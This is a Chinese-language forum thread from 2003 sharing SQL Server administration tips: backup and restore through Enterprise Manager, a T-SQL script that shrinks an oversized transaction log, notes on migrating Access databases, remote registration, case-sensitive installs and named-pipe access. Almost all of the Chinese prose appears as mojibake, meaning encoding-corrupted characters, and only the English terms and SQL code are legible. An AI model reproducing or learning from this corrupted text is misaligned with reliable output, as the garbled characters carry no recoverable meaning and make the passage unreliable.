¡¡¡¡ÔÚ·ÀÖ¹Êý¾Ý¶ªÊ§·½Ã棬NTµÄ´ÅÅ̹ÜÀíÆ÷¾ßÓÐÇ¿´óµÄ¹¦ÄÜ£¬ËüÖ§³ÖRAIDµÄµÚ0¡¢1¡¢5¼¶¡£ÆäÖÐRAID 1¼¶ÊÇÖ¸°ÑÒ»¸öÇý¶¯Æ÷ÉϵÄijһ·ÖÇøÔÚÁíÒ»¸öÉϽ¨Á¢Ò»¸ö¾µÏñ¡£½øÐÐд²Ù×÷ʱ£¬Êý¾Ý½«ÏòÁ½¸ö´ÅÅÌÖÐдÈëͬÑùµÄÊý¾Ý£¬¶Áȡʱ¿ÉÒÔ´ÓÁ½¸ö´ÅÅÌͬʱ¶ÁÈ¡¡£µ±Çý¶¯Æ÷Ëð»µÊ±£¬ÓÉËüµÄ¾µÏñÀ´½øÐлָ´¡£

¡¡¡¡2¡¢Ê¹ÓõÚÈý·½±¸·Ý¹¤¾ß

¡¡¡¡²ÉÓÃÆäËû¹«Ë¾µÄ±¸·ÝÈí¼þÀ´¶Ô·þÎñÆ÷ϵͳ×ö±¸·Ý¡£±ÊÕß³£ÓõÄÊÇNorton¹«Ë¾µÄ´ÅÅ̱¸·Ý¹¤¾ß¡ª¡ªGhost¡£¸ÃÈí¼þ¿ÉÒÔÖ±½Ó½«´ÅÅÌÉϵÄij¸ö·ÖÇø»òÕû¸öÓ²ÅÌ¿Ë¡³ÉÒ»¸ö¾µÏñÎļþ£¬È»ºó°ÑËü´æ·ÅÔڱ𴦣¬ÄÇôµ±¸Ã·ÖÇø»òÓ²Å̳öÏÖÎÊÌâÉõÖÁ»Ù»µÊ±£¬Ê¹ÓÃGhostÔÚÁíÒ»Ó²ÅÌ»ò·ÖÇøÉÏ£¬ÀûÓþµÏñÎļþ¿ìËÙ»¹Ô­¡£

¡¡¡¡Õë¶ÔSQL Server

¡¡¡¡1¡¢ÔÚ±¾µØ»úÉϽøÐÐÊý¾Ý¿â±¸·Ý

¡¡¡¡ÏÈÈ·ÈÏSQL Server·þÎñÊÇ·ñÒѾ­Æô¶¯£¬Èç¹ûûÓÐÆô¶¯£¬ÔòʹÓÃSQL Server 7.0³ÌÐò²Ëµ¥Öеġ°SQL Server Service Manager¡±½øÐÐÆô¶¯£¬È»ºó´ò¿ª ¡°Enterprise Manager¡±£¬Õ¹¿ª×ó±ßµÄSQL Server Group£¬Õ¹¿ªSQL ServerÖеġ°Databases¡±£¬µ¥»÷ÓÒ¼ü£¬Ôڲ˵¥ÖÐÑ¡Ôñ¡°ËùÓÐÈÎÎñ¡±Ñ¡ÏîÖеġ°Backup Database¡±×ÓÑ¡Ï³öÏÖÈçͼ1µÄÊý¾Ý¿â±¸·Ý»­Ãæ¡£

¡¡¡¡
¡¡¡¡Í¼1
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:24
Êý¾Ý¿âµÄ±¸·ÝÓë»Ö¸´
³ö´¦£ºÖйúµçÄÔ½ÌÓý±¨
ÔðÈα༭£ºpcedu

[02-12-9 14:58]  ×÷ÕߣºÁõÀûÇ¿  
   
ÄÚÈÝËÑË÷
   
  ¸ß¼¶ËÑË÷      


  

¡¡¡¡Ñ¡ºÃÒª±¸·ÝµÄÊý¾Ý¿â¼°±¸·Ý·½Ê½ºó£¬µ¥»÷[Add]°´Å¥£¬ÔÚ¶Ô»°¿òÖÐÉèÖúôæ·ÅĿ¼¼°ÎļþÃû£¬µ¥»÷[OK]°´Å¥¡£Èç¹ûÒªÉèÖö¨ÆÚ×Ô¶¯±¸·Ý£¬¿ÉÔÚ¡°Schedule¡±ÖÐÉèÖã¬Íê±Ïºó£¬µ¥»÷[È·¶¨]°´Å¥£¬Êý¾Ý¿â±¸·Ý¾Í¿ªÊ¼Ö´ÐÐÁË¡£

¡¡¡¡2¡¢ÔÚ±¾µØ»úÉϽøÐÐÊý¾Ý¿â»Ö¸´

¡¡¡¡Æô¶¯¡°Enterprise Manager¡±£¬Õ¹¿ªÆäÖеÄÑ¡ÏѡÔñ¡°Databases¡±£¬µ¥»÷ÓÒ¼ü£¬ÔÚ¶Ô»°¿òÖÐÑ¡Ôñ¡°ËùÓÐÈÎÎñ¡±Ñ¡ÏîÖеġ°Restore Database¡±£¨Èçͼ2£©¡£

¡¡¡¡
¡¡¡¡Í¼2

¡¡¡¡µ¥»÷[Select Devices]°´Å¥£¬Ñ¡ÔñÒª»Ö¸´µÄÊý¾Ý¿âÎļþ¡£Ñ¡ÔñÍê±Ïºó£¬¡°Backup Number¡±Ñ¡Ï»á±äÁÁ£¬Ñ¡Ôñ×î½üµÄÒ»´Î±¸·Ý¡£È»ºóµ¥»÷[È·¶¨]£¬Êý¾Ý¿â»Ö¸´¹ý³Ì¿ªÊ¼Ö´ÐС£

¡¡¡¡3¡¢½«Êý¾Ý¿âµ¼³öµ½ÍøÂçÉϵÄÁíһ̨¼ÆËã»úÉϽøÐб¸·ÝÓë»Ö¸´

¡¡¡¡ÏÈÔÚÍøÂçÉϵÄÁíһ̨¼ÆËã»úÉÏ°²×°Ò»¸öеÄSQL Server£¬²¢Æô¶¯Ëü½¨Á¢ºÃÊý¾Ý¿â½á¹¹¡£È»ºóÔÚ±¾»úÉÏÆô¶¯¡°Enterprise Manager¡±£¬ÔÚ×ó±ßµÄĿ¼À¸ÖÐÑ¡ÖС°SQL Server Group¡±£¬µ¥»÷ÓÒ¼ü£¬ÔÚ¶Ô»°¿òÖÐÑ¡Ôñ¡°New SQL Server Registration¡±£¬½øÈë×¢²áÏòµ¼£¬ÊäÈëÄ¿±êSQL ServerµÄ¼ÆËã»úÃûºó£¬ÌîдµÇ¼IDºÍÃÜÂ룬½«Ä¿±êSQL Server×¢²áÔÚ±¾»úµÄ¡°SQL Server Group¡±ÖС£È»ºóÑ¡Ôñ¡°Databases¡±ÖÐÐèÒª±¸·ÝµÄÊý¾Ý¿â±êÖ¾£¬µ¥»÷ÓÒ¼ü£¬ÔÚ¶Ô»°¿òÑ¡Ôñ¡°ËùÓÐÈÎÎñ¡±Öеġ°Export Data...¡±Ñ¡Ïî¡£ÔÚµ¯³ö¡°Date Transfer Services Export Wizard¡±µÄ½çÃæºó£¬µ¥»÷[ÏÂÒ»²½]°´Å¥£¬Ñ¡ÔñÐèÒª±¸·ÝµÄÊý¾Ý¿â£¬½Ó×ŵ¥»÷[ÏÂÒ»²½]°´Å¥£¬Ñ¡ÔñÄ¿±ê·þÎñÆ÷£¬Ñ¡ÔñSQL ServerÑé֤ģʽ£¬ÌîдÓû§ÃûºÍÃÜÂ룬ÔÚ¡°Database¡±Ò»ÏîÖÐÊäÈëеÄÊý¾Ý¿âÃû³Æ(Èçͼ3)£¬µ¥»÷[ÏÂÒ»²½]°´Å¥£¬½øÈëµ¼³ö·½Ê½µÄ½çÃ棬ÉèÖúÃÖ®ºó£¬µ¥»÷[ÏÂÒ»²½]°´Å¥£¬ÔÚÏÂÃæµÄ²½ÖèÖÐÒ»°ãÑ¡ÔñĬÈÏÑ¡Ï¿ÉÒÔ˳ÀûÍê³ÉÊý¾Ý¿âµÄµ¼³ö²Ù×÷ÁË¡£

¡¡¡¡
¡¡¡¡Í¼3

¡¡¡¡Á½¸öSQL ServerÖоßÓÐÏàͬµÄÊý¾Ý¿â£¬µ±Ô­À´µÄÊý¾Ý¿â±ÀÀ£ºó£¬¾Í¿ÉÒÔÖ±½ÓÆôÓÃÁíÒ»¸ö£¬Ö»ÊÇÐÞ¸ÄһϼÆËã»úÉÏODBCÊý¾ÝÔ´ÖÐËùÉèÖõÄSQL ServerÖ÷»úÃû³Æ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:51
Ҳ̸ÈçºÎËõСSQL SERVERÈÕÖ¾Îļþ  
¡¼ÎÄÕÂתÔØ»ò³ö´¦¡½¡ÔÖйúµç×Ó¼¼ÊõÐÅÏ¢Íø¡Ô ÍøÖ·£ºwww.CETINet.com
Ҳ̸ÈçºÎËõСSQL SERVERÈÕÖ¾Îļþ  

Ç°¼¸ÌìÒ²Åöµ½ÈÕÖ¾Îļþ¹ý´óµÄÎÊÌ⣬Êý¾Ý¿âʵ¼Ê´óСΪ600M, ÈÕÖ¾Îļþʵ¼Ê´óСΪ33M, µ«ÈÕÖ¾ÎļþÕ¼ÓÿռäΪ2.8G!!!
ÊÔÁ˶àÖÖ·½Ê½£¬SHIRNK DATABASE£¬ TRUNCATE LOG FILE, ¶¼Ã»°ì·¨½«ÎļþËõС¡£ÎÞÂÛÈçºÎ£¬ÕâÓ¦¸ÃËãSQL SERVERµÄÒ»¸öBUG°É¡£

ºóÀ´ÕÒµ½ÏÂÃæµÄ´úÂ룬¾Í¿ÉÒÔ½«ÈÕÖ¾ÎļþËõСµ½×Ô¼ºÏëÒªµÄ´óСÁË¡£°Ñ´úÂëCOPYµ½²éѯ·ÖÎöÆ÷À£¬È»ºóÐÞ¸ÄÆäÖеÄ3¸ö²ÎÊý(Êý¾Ý¿âÃû£¬ÈÕÖ¾ÎļþÃû£¬ºÍÄ¿±êÈÕÖ¾ÎļþµÄ´óС)£¬ÔËÐм´¿É(ÎÒÒѾ­Óùý¶à´ÎÁË)
-----
SET NOCOUNT ON
DECLARE @LogicalFileName sysname,
@MaxMinutes INT,
@NewSize INT


USE Marias -- Òª²Ù×÷µÄÊý¾Ý¿âÃû
SELECT @LogicalFileName = 'Marias_log', -- ÈÕÖ¾ÎļþÃû
@MaxMinutes = 10, -- Limit on time allowed to wrap log.
@NewSize = 100 -- ÄãÏëÉ趨µÄÈÕÖ¾ÎļþµÄ´óС(M)

-- Setup / initialize
DECLARE @OriginalSize int
SELECT @OriginalSize = size
FROM sysfiles
WHERE name = @LogicalFileName
SELECT 'Original Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
CREATE TABLE DummyTrans
(DummyColumn char (8000) not null)


DECLARE @Counter INT,
@StartTime DATETIME,
@TruncLog VARCHAR(255)
SELECT @StartTime = GETDATE(),
@TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY'

DBCC SHRINKFILE (@LogicalFileName, @NewSize)
EXEC (@TruncLog)
-- Wrap the log if necessary.
WHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired
AND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName)
AND (@OriginalSize * 8 /1024) > @NewSize
BEGIN -- Outer loop.
SELECT @Counter = 0
WHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000))
BEGIN -- update
INSERT DummyTrans VALUES ('Fill Log')
DELETE DummyTrans
SELECT @Counter = @Counter + 1
END
EXEC (@TruncLog)
END
SELECT 'Final Size of ' + db_name() + ' LOG is ' +
CONVERT(VARCHAR(30),size) + ' 8K pages or ' +
CONVERT(VARCHAR(30),(size*8/1024)) + 'MB'
FROM sysfiles
WHERE name = @LogicalFileName
DROP TABLE DummyTrans
SET NOCOUNT OFF
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:52
ACCESSµÄÊý¾Ý¿âת»¯ÎªSQL SERVERµÄÊý¾Ý¿âµÄ¼¸µãÌåÑé  
¡¼ÎÄÕÂתÔØ»ò³ö´¦¡½¡ÔÖйúµç×Ó¼¼ÊõÐÅÏ¢Íø¡Ô ÍøÖ·£ºwww.CETINet.com
½«ACCESSµÄÊý¾Ý¿âת»¯ÎªSQL SERVERµÄÊý¾Ý¿âµÄ¼¸µãÌåÑé  


×î½üæÓÚ½«ACCESSµÄÊý¾Ý¿âת»¯ÎªSQL SERVERµÄÊý¾Ý¿âµÄѧϰ£¬´ÓÖÐÃþË÷³ö¼¸Ìõ¾­Ñ飬Óë´ó¼Ò·ÖÏí.
1.ACCESSµÄÊý¾Ý¿âÖеÄ×Ô¶¯±àºÅÀàÐÍÔÚת»¯Ê±£¬sql server²¢Ã»Óн«ËüÉèΪ×Ô¶¯±àºÅÐÍ£¬ÎÒÃÇÐèÔÚSQL´´½¨Óï¾äÖмÓÉÏidentity£¬±íʾ×Ô¶¯±àºÅ£¡
2.ת»¯Ê±£¬¸úÈÕÆÚÓйصÄ×ֶΣ¬SQL SERVERĬÈÏΪsmalldatetimeÐÍ£¬ÎÒÃÇ×îºÃ½«Ëü±äΪdatetimeÐÍ£¬ÒòΪdatetimeÐ͵ķ¶Î§±ÈsmalldatetimeÐÍ´ó¡£ÎÒÓö¼ûÕâÖÖÇé¿ö£¬ÓÃsmalldatetimeÐÍʱ£¬×ª»¯Ê§°Ü£¬¶øÓÃdatetimeÐÍʱ£¬×ª»¯³É¹¦¡£
3.¶Ô´ËÁ½ÖÖÊý¾Ý¿â½øÐвÙ×÷µÄsqlÓï¾ä²»È«Ïàͬ£¬ÀýÈ磺ÔÚ¶ÔACCESSÊý¾Ý¿â½øÐÐɾ³ý¼Í¼ʱÓãº"delete * from user where id=10",¶ø¶ÔSQL SERVERÊý¾Ý¿â½øÐÐɾ³ýÊÇÓãº"delete user where id=10".
4.ÈÕÆÚº¯Êý²»Ïàͬ£¬ÔÚ¶ÔACCESSÊý¾Ý¿â´¦ÀíÖУ¬¿ÉÓÃdate()¡¢time()µÈº¯Êý£¬µ«¶Ô
SQL SERVERÊý¾Ý¿â´¦ÀíÖУ¬Ö»ÄÜÓÃdatediff,dateaddµÈº¯Êý£¬¶ø²»ÄÜÓÃdate()¡¢time()µÈº¯Êý¡£
5.ÔÚ¶ÔACCESSÊý¾Ý¿â´¦ÀíÖÐ,sqlÓï¾äÖÐÖ±½Ó¿ÉÒÔÓÃһЩVBµÄº¯Êý£¬Ïñcstr()º¯Êý£¬¶ø¶ÔSQL SERVERÊý¾Ý¿â´¦ÀíÖУ¬È´²»ÄÜÓá£


ÒÔÉÏÊÇÎÒʵսÖеľ­Ñ飬¿ÉÄÜÒÔºó»¹»áÓиü¶à£¬Ï£Íû´ó¼ÒºÍÎÒ½»Á÷£¡
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 14:56
Ô¶³Ì¹ÜÀíÄãµÄSQLÊý¾ÝµÄ·½·¨
www.chaog.com 2003-3-31  Ó±³¬Íø


1¡¢ÔÚµÄÄã¼ÆËã»úÉÏ°²×°sql server2000Êý¾Ý¿âµÄÈí¼þ(×¢Ò⣺Ïàͬ°æ±¾µÄÊý¾Ý¿âϵͳ£©

2¡¢µã»÷¿ªÊ¼ -- ³ÌÐò -- Microsoft SQL Server -- ¿Í»§¶ËÍøÂçʵÓù¤¾ß -- ÁíÃû -- µã»÷Ìí¼Ó --- ÍøÂç¿âÑ¡È¡TCP/IP;·þÎñÆ÷±ðÃû:Êý¾Ý¿â·þÎñÆ÷µÄIP;·þÎñÆ÷Ãû³Æ:Êý¾Ý¿â·þÎñÆ÷µÄIP;¶Ë¿ÚĬÈÏ1433 -- È·¶¨

3¡¢µã»÷¿ªÊ¼ -- ³ÌÐò -- Microsoft SQL Server -- ÆóÒµ¹ÜÀíÆ÷ -- Mouseµã Microsoft SQL Servers -- mouseÓÒ¼üµã Sql Server ×é;µãеÄsql server ×¢²á.... -- ÏÂÒ»²½ -- Ôö¼ÓÖ÷»úIP£¬ÏÂÒ»²½---Ñ¡"ϵͳ¹ÜÀíÔ±¸øÎÒ·ÖÅäµÄSQL ServerµÇ¼ÐÅÏ¢....".
ÏÂÒ»²½ -- µÇ¼Ãû:Óû§Ãû¡¢ÃÜÂë:ÃÜÂë¡¢ÏÂÒ»²½ -- ¡­¡­

4¡¢Áª½Ó³É¹¦ºó£»ÇëÄúÕÒµ½ÄúµÄÊý¾Ý¿â£»Äã¾Í¿É¹ÜÀíÄãµÄÊý¾Ý¿â¡£


×¢£º²»ÒªÔ½È¨Å¶¡£Ò»°ãÇé¿öÏÂÄãÊÇÖ»ÄÜ¿´µ½±ðµÄÊý¾Ý¿âµÄÃû³Æ¶øûÓйÜÀíȨÏÞŶ£¡£¡£¡
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-16 18:32
ÓôÃÆ£¬¿´µÄÈ˶࣬¹ÄÕƵÄÈËÒ»¸öҲûÓа¡
×÷Õß: xzh2000    ʱ¼ä: 2003-12-17 14:55
¹þ¹þ,ÎÒÈÓ‚€Ïãëuµ°.
×÷Õß: ¶ººÅ    ʱ¼ä: 2003-12-17 16:16
±êÌâ: ÎÒ¹ÄÕÆ
±ÈÎá±²¸ß¶àÒÓ£¬Ñ§Ï°ÖÐ
×÷Õß: xljiong    ʱ¼ä: 2003-12-17 17:41
±êÌâ: ÎÒ¹ÄÕÆ
ÎÊÒ»ÏÂÓÐûÓÐÀàËÆoracleÀïÃæ¶ÔNULLµÄ´¦Àí·½·¨nvl()ÀàËƵĺ¯Êý¡£¶ÔÓÚsql server Ôõô½â¾öÕâ¸öÎÊÌâµÄÄØ£¿
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-17 20:50
±êÌâ: Re: ÎÒ¹ÄÕÆ
×î³õÓÉ xljiong ·¢²¼
[B]ÎÊÒ»ÏÂÓÐûÓÐÀàËÆoracleÀïÃæ¶ÔNULLµÄ´¦Àí·½·¨nvl()ÀàËƵĺ¯Êý¡£¶ÔÓÚsql server Ôõô½â¾öÕâ¸öÎÊÌâµÄÄØ£¿ [/B]


ISNULL()?
×÷Õß: lunggz    ʱ¼ä: 2003-12-19 00:08
²»´í£¡ÆäʵSQL SERVER°å¿é·ÖµÃÔÙϸһµã£¡
ÕâÑù¹àË®·½±ãµÄ¶à£¡
×÷Õß: lunggz    ʱ¼ä: 2003-12-19 00:10
ÎÒ¶¥£¡
²»´í£¬Òª×ö³ÉCHMÎļþÌùһϣ¬Ð§¹û»áºÃºÜ¶à£¡
×÷Õß: ÄàÆÐÈø    ʱ¼ä: 2003-12-19 00:22
ÒѾ­downÏÂÀ´ÂýÂýµØ¿´¡£¾õµÃÕâÑùÒ»ÎÊÒ»´ðµÄÐÎʽ¼òµ¥Ã÷ÁË£¬Ñ§Ï°ÆðÀ´·½±ã¶àÁË¡£
лл£¡
×÷Õß: enhydraboy    ʱ¼ä: 2003-12-22 10:27
±êÌâ: SQL ServerÖÐÈ«½ÇºÍ°ë½Ç×Ö·ûµÄ±È½ÏÎÊÌâ
ÎÒÒ²À´´Õ¸öÈÈÄÖ¡£

sql serverÖÐÈ«½ÇºÍ°ë½Ç×Ö·ûµÄ±È½ÏÎÊÌâ.pdf

12.81 KB, ÏÂÔØ´ÎÊý: 159


×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-22 10:56
ÈçºÎ´´½¨Çø·Ö´óСдµÄ SQL Server 2000 ʵÀý£¨°²×°³ÌÐò£©
´´½¨Çø·Ö´óСдµÄ SQL Server 2000 ʵÀý

  1.. ÔËÐÐ SQL Server °²×°³ÌÐòÀ´°²×°"SQL Server 2000 ×é¼þ"£¬²¢Ñ¡Ôñ"°²×°Êý¾Ý
¿â·þÎñÆ÷"£¬È»ºóÔÚ SQL Server °²×°Ïòµ¼µÄ"»¶Ó­"ÆÁÄ»Éϵ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  2.. ÔÚ"¼ÆËã»úÃû"¶Ô»°¿òÖУ¬"±¾µØ¼ÆËã»ú"ÊÇĬÈÏÑ¡Ï±¾µØ¼ÆËã»úÃûÏÔʾÔڱ༭¿ò
ÖС£µ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  3.. ÔÚ"°²×°Ñ¡Ïî"¶Ô»°¿òÖе¥»÷"´´½¨ SQL Server ÐÂʵÀý»ò°²×°¿Í»§¶Ë¹¤¾ß"£¬È»ºó
µ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  4.. °´ÕÕ"Óû§ÐÅÏ¢"ºÍÏà¹ØÆÁÄ»ÉϵÄÖ¸µ¼½øÐвÙ×÷¡£


  5.. ÔÚ"°²×°¶¨Òå"¶Ô»°¿òÖУ¬µ¥»÷"·þÎñÆ÷ºÍ¿Í»§¶Ë¹¤¾ß"Ñ¡ÏȻºóµ¥»÷"ÏÂÒ»²½"°´
Å¥¡£


  6.. ÔÚ"ʵÀýÃû³Æ"¶Ô»°¿òÖУº
    a.. ÈôÒª´´½¨Çø·Ö´óСдµÄĬÈÏʵÀý£¬Çë½ÓÊÜ"ĬÈÏ"¸´Ñ¡¿ò²¢µ¥»÷"ÏÂÒ»²½"°´Å¥¡£


    b.. ÈôÒª´´½¨Çø·Ö´óСдµÄÃüÃûʵÀý£¬ÇëÇå³ý"ĬÈÏ"¸´Ñ¡¿ò²¢¼üÈëʵÀýÃû³Æ¡£
  7.. ÔÚ"°²×°ÀàÐÍ"¶Ô»°¿òÖе¥»÷"×Ô¶¨Òå"Ñ¡ÏȻºóµ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  8.. ÔÚ"Ñ¡Ôñ×é¼þ"¡¢"·þÎñÕÊ»§"ºÍ"Éí·ÝÑé֤ģʽ"¶Ô»°¿òÖУ¬¸ü¸Ä»ò½ÓÊÜĬÈÏÉèÖã¬
È»ºóµ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  9.. ÔÚ"ÅÅÁйæÔòÉèÖÃ"¶Ô»°¿òÖÐÓÐÁ½¸öÑ¡Ï
    a.. ÈôҪʹ Windows ÇøÓòÉèÖÃÅÅÐò¹æÔòÇø·Ö´óСд£¬ÇëÑ¡Ôñ"ÅÅÁйæÔòָʾÆ÷"£¬
È»ºó´ÓÁбíÖÐÑ¡ÔñÕýÈ·µÄÅÅÐò¹æÔòָʾÆ÷¡£Çå³ý"¶þ½øÖÆ"¸´Ñ¡¿ò£¬È»ºóÑ¡Ôñ"Çø·Ö´óС
д"¸´Ñ¡¿ò¡£


    b.. ÈôҪʹ SQL ÅÅÐò¹æÔòÇø·Ö´óСд£¬ÇëÑ¡Ôñ"SQL ÅÅÐò¹æÔò"£¬È»ºó¼üÈëÕýÈ·µÄ
ÅÅÐò¹æÔòÃû³Æ¡£
  ÓйØÅÅÐò¹æÔòÑ¡ÏîµÄ¸ü¶àÐÅÏ¢£¬Çëµ¥»÷"°ïÖú"°´Å¥¡£Íê³ÉÑ¡ÏîµÄÉèÖúó£¬Çëµ¥»÷"ÏÂ
Ò»²½"°´Å¥¡£

  10.. ÔÚËæºó³öÏֵĸ÷¶Ô»°¿òÖУ¬¸ü¸Ä»ò½ÓÊÜĬÈÏÉèÖã¬È»ºóµ¥»÷"ÏÂÒ»²½"°´Å¥¡£


  11.. ÔÚÍê³ÉÑ¡ÏîµÄÖ¸¶¨ºó£¬ÇëÔÚ"¿ªÊ¼¸´ÖÆÎļþ"¶Ô»°¿òÖе¥»÷"ÏÂÒ»²½"°´Å¥¡£


  12.. ÔÚ"Ñ¡ÔñÊÚȨģʽ"¶Ô»°¿òÖУ¬°´ÕÕÐí¿ÉЭÒé½øÐÐÑ¡Ôñ£¬È»ºóµ¥»÷"¼ÌÐø"°´Å¥¿ª
ʼ°²×°¡£


  13.. ÓйØÊÚȨµÄÐÅÏ¢£¬Çëµ¥»÷"°ïÖú"°´Å¥»òÏòϵͳ¹ÜÀíÔ±½øÐÐ×Éѯ¡£
×÷Õß: enhydraboy    ʱ¼ä: 2003-12-23 10:20
±êÌâ: SQLServer²»´æÔÚ»òÕß·ÃÎʾܾø
×òÌìÓöµ½Ò»¸öÕâÑùµÄÎÊÌâ¡£¼ì²éÁË·þÎñÆ÷¶ËºÍ¿Í»§¶Ë¶¼Ã»ÓÐÎÊÌ⣬·À»ðǽÉèÖÃҲûÓÐÎÊÌâ¡£ÅųýÁËÍøÂçÎÊÌâºó£¬¼ì²é·þÎñÆ÷¶Ë£¬·¢ÏÖÕâÑùµÄÏÖÏó£º
1 SQL ServerÕ¼ÓõÄÄÚ´æÊý´ïµ½700¶àÕ×£¬·þÎñÆ÷ÎïÀíÄÚ´æÊÇ1G¡£
2 ÔÚ·þÎñÆ÷±¾»úÉÏ£¬²ÉÓÃnamed pipeЭÒé¿ÉÒԵǽ·þÎñÆ÷£¬¶ø²ÉÓÃtcpЭÒé²»Äܵǽ¡£

Òò´Ë²ÂÏ룬¿ÉÄÜÊÇÄÚ´æ×ÊÔ´²»¹»£¬µ¼Ö²ÉÓÃtcp/ipЭÒéÇëÇ󣬷þÎñÆ÷ÎÞ·¨´´½¨Á¬½Ó±ØÐëµÄÄÚ´æ¡£ÖØÆðSQLServer·þÎñºó£¬Õý³£ÁË¡£
Ò»°ãÇé¿öÏ£¬ÎÒÃǶ¼ÊÇÈÃSQL Server×Ô¶¯¹ÜÀíÄÚ´æµÄ£¬Òò´ËSQL Server»á¿¼ÂDzÙ×÷ϵͳÐèÒªµÄÄÚ´æ¿Õ¼ä¡£·´Ö®£¬ÎÒÃÇ¿ÉÒÔ¿¼ÂÇ×Ô¼ºÊÖ¶¯ÉèÖÃSQL ServerÄÚ´æ¹ÜÀí¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:33
ʹÓÃÃüÃû¹ÜµÀ·ÃÎÊSQL Server

Ò»¡¢ÒâÒå
¡¡¡¡SQL Server°²×°ºóȱʡÅäÖÃÊÇÔÊÐí¿Í»§¶ËÒÔTCP/IPЭÒéÀ´·ÃÎÊ£¬Óû§Ö»ÐèÒªÖªµÀSQL ServerÕ˺ŵÄÃÜÂë¾Í¿ÉÒÔ·ÃÎÊ£¬ÕâÑùºÜ²»°²È«£¬ÒòΪºÜ¶àWEB³ÌÐòÊÇÖ±½Ó°ÑÁ¬½ÓÐÅÏ¢(Êý¾Ý¿â·þÎñÆ÷¡¢Á¬½ÓÕ˺š¢Á¬½ÓÃÜÂë)дÔÚ³ÌÐòÀïÃæµÄ£¬ÆÆ»µÕß»òºÚ¿Í¿ÉÒÔͨ¹ýijЩ·½·¨Ö±½Ó²é¿´Ô´´úÂë»ñÈ¡SQL ServerÕ˺ż°ÃÜÂ룬ËûÃǾͿÉÒÔÖ±½ÓÓÃTCP/IPЭÒéÁ¬½Óµ½¸ÃÊý¾Ý¿â·þÎñÆ÷£¬¶ÔÊý¾Ý»òÅäÖýøÐÐÐÞ¸ÄÉõÖÁ×÷ÆÆ»µ¡£Ê¹ÓÃÃüÃû¹ÜµÀʱÓû§±ØÐëµÃ¾ßÓзÃÎÊSQL ServerËùÔÚ»úÆ÷µÄ×ÊÔ´ÒÔºó²ÅÓпÉÄÜ·ÃÎÊSQL Server£¬Èç¹ûÓû§Ã»ÓзÃÎÊ×ÊÔ´µÄȨÏÞ£¬¼´±ãËûÖªµÀSQL ServerÕ˺ÅÃÜÒ²Á¬²»ÉÏ¡£

¶þ¡¢ÊµÏÖ
¡¡¡¡£±¡¢·þÎñÆ÷ÅäÖÃ
¡¡¡¡¡¡¡¡´ò¿ªSQL ServerµÄServer Network Utility£º¡°¿ªÊ¼->³ÌÐò->Microsoft SQL Server 7.0->Server Network Utility¡±£¬ÔÚ¡°General¡±À¸ÖУ¬É¾³ý²»±ØÒªµÄÁ¬½ÓÅäÖã¬È»ºó°´¡°Add...¡±Ôö¼ÓÒ»¸öNamed PipesÁ¬½Ó£ºNetwork librarysÑ¡Named Pipes£¬Server nameΪ·þÎñÆ÷µÄ»úÆ÷Ãû
¡¡¡¡£²¡¢¿Í»§»úÅäÖÃ
¡¡¡¡¡¡¡¡´ò¿ªSQL ServerµÄClient Network Utility£º¡°¿ªÊ¼->³ÌÐò->Microsoft SQL Server 7.0->Client Network Utility¡±£¬ÔÚ¡°General¡±À¸ÖУ¬É¾³ý²»±ØÒªµÄÁ¬½ÓÅäÖã¬È»ºó°´¡°Add...¡±Ôö¼ÓÒ»¸öNamed PipesÁ¬½Ó£ºNetwork librarysÑ¡Named Pipes£¬Server aliasΪ´ýÁ¬½ÓµÄSQL ServerËùÔÚ·þÎñÆ÷µÄ»úÆ÷Ãû(¾ÖÓòÍø)»òIPµØÖ·(¹ãÓòÍø)
¡¡¡¡£³¡¢Á¬½Ó·½·¨
¡¡¡¡¡¡¡¡¿ÉÒÔ·ÖΪÁ½ÖÖÇé¿ö£º
¡¡¡¡¡¡¡¡£Á¡¢¿Í»§»úÒѾ­µÇ½µ½·þÎñÆ÷ËùÔÚµÄÓò
¡¡¡¡¡¡¡¡¡¡¡¡¿Í»§»úÒѾ­¾ßÓзÃÎÊ·þÎñÆ÷×ÊÔ´µÄȨÏÞ£¬¿ÉÒÔÖ±½ÓÁ¬½ÓSQL Server
¡¡¡¡¡¡¡¡£Â¡¢¿Í»§»úûÓеǽµ½·þÎñÆ÷ËùÔÚµÄÓò
¡¡¡¡¡¡¡¡¡¡¡¡¿Í»§»ú²»¾ß±¸·ÃÎÊ·þÎñÆ÷×ÊÔ´µÄȨÏÞ£¬¿ÉÒÔÔÚ¡°¿ªÊ¼->ÔËÐС±ÖÐÊäÈë\\<·þÎñÆ÷»úÆ÷Ãû»òIPµØÖ·>£¬È»ºóÊäÈëNTÕ˺źÍÃÜÂ룬Ñé֤ͨ¹ýºó¿Í»§»ú¾Í¾ßÓзÃÎÊ·þÎñÆ÷×ÊÔ´µÄȨÏÞ£¬´Ëʱ¸Ã¿Í»§»ú¾Í¿ÉÒÔÁ¬½ÓSQL ServerÁË
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:34
·îÏ׸ø´ó¼ÒһЩÄѵãÎÊÌâµÄ½â¾ö·½°¸£º

Ç°¶Îʱ¼ä·ÑÁ˾ÅÅ£¶þ»¢Ö®Á¦£¬ÖÕÓÚ¸ãµàÁËSQL mailµÄÅäÖÃÓëʹÓᣠ(ZT)
_RamboÒªÎÒÕûÀí³öÀ´ÓйصÄÎĵµ´ó¼Ò¹²Ïí¡£
